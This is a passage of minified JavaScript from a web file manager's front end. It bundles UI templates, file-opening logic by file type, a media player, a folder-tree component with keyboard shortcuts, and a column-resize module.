class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0) -},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var 